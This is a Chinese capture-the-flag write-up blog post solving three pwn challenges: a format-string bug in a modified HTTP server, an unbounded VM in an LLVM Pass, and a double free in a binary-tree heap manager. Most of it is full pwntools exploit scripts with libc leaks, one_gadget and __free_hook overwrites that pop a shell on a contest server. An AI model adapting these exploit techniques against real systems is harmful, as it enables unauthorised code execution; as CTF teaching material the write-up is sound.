题目很有意思,学到很多

parser

这题是一个魔改的httpd,Content-Length小于0时存在格式化串漏洞,leak后写one_gadget即可

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

aaaaa'''

req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1

||%8$p||%15$p||%213$p||
'''

def send_req(request):
    p.sendafter(b"> ", request)

def exp():
    # leak stack libc image_base
    send_req(req_leak)
    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop = True), 16)
    image_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_leak = int(p.recvuntil(b"||", drop = True), 16)
    libc_base = libc_leak - 0x21b97
    image_base = image_leak - 0x14a8
    one_gadget = libc_base + 0x4f3c2
    system = libc_base + libc.symbols[b"execve"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    pop_rdi_ret = image_base + 0x16a3
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96
    print("stack_leak:", hex(stack_leak))
    print("image_leak:", hex(image_leak))
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("image_base:", hex(image_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))

    # attack_ret_addr

    main_ret = 0x5a8 + stack_leak
    print("main_ret:", hex(main_ret))

    for i in range(6):
        payload = req_base.encode()
        payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
        payload += p64(main_ret+i)
        print(len(payload))
        send_req(payload)

    # trigger main_ret->one_gadget
    send_req("11111")

    # ./getflag
    p.interactive()

if __name__ == "__main__":
    exp()

simpleVM

这里的漏洞出在LLVM Pass,LLVM核心库提供了一些"Pass"类让开发者可以去继承然后实现想要的功能。主要的作用就是把编译过程中间的IR喂给自定义的Pass从而进行一些针对性的、机器无关的优化。这题的Pass实现了一个由push pop store load add min组成的虚拟机,由于没有边界限制,且主程序没开PIE保护,所以很容易进行任意地址读写。

README.txt

Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

exp.c

void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
    add(1, 0x77e100);
    load(1);
    add(2, 0x72a9c);
    store(1);
}

exp.bc

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
  call void @add(i32 1, i32 7856384)
  call void @load(i32 1)
  call void @add(i32 2, i32 469660)
  call void @store(i32 1)
  ret void
}

declare void @add(i32, i32) #1

declare void @load(i32) #1

declare void @store(i32) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}

manager

用二叉树管理内存的堆题,特定条件下删根节点会double free。

伪代码看的我血压升高,直接调确定一种情况比如根节点有左右节点,且右节点有两个叶子。这样free掉根节点时会出现loop chain。慢慢利用就行。

exp

from pwn import *

#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"

# header: 0x555555554000+0x202018

def add(key:int, length:int, content):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"key> ", str(key).encode())
    p.sendlineafter(b"len> ", str(length).encode())
    p.sendafter(b"content> ", content)

def delete(key:int):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"key> ", str(key).encode())

def show():
    p.sendlineafter(b"> ", b"3")

def exp():
    # leak libc
    add(1, 0x420, b"unsorted")
    add(2, 0x420, b"unsorted2")
    delete(1)
    delete(2)
    add(5, 0x10, b"5"*8)
    show()
    p.recvuntil(b"55555555")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ec090
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    # build double free
    add(7, 0x10, b"7"*8)
    add(6, 0x10, b"6"*8)
    add(4, 0x10, b"4"*8)
    add(8, 0x10, b"8"*8)
    delete(8)

    delete(5)
    add(10, 0x10, p64(free_hook))
    add(11, 0x10, b"/bin/sh\x00")
    add(12, 0x10, p64(system))
    print("free_hook:", hex(free_hook))

    delete(11)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

标签: none

仅有一条评论

  1. […] [红帽杯 2021] PWN – WriteupWriting an LLVM Pass — LLVM 12 documentationLLVM Pass入门导引LLVM Pass 简介(2) […]

添加新评论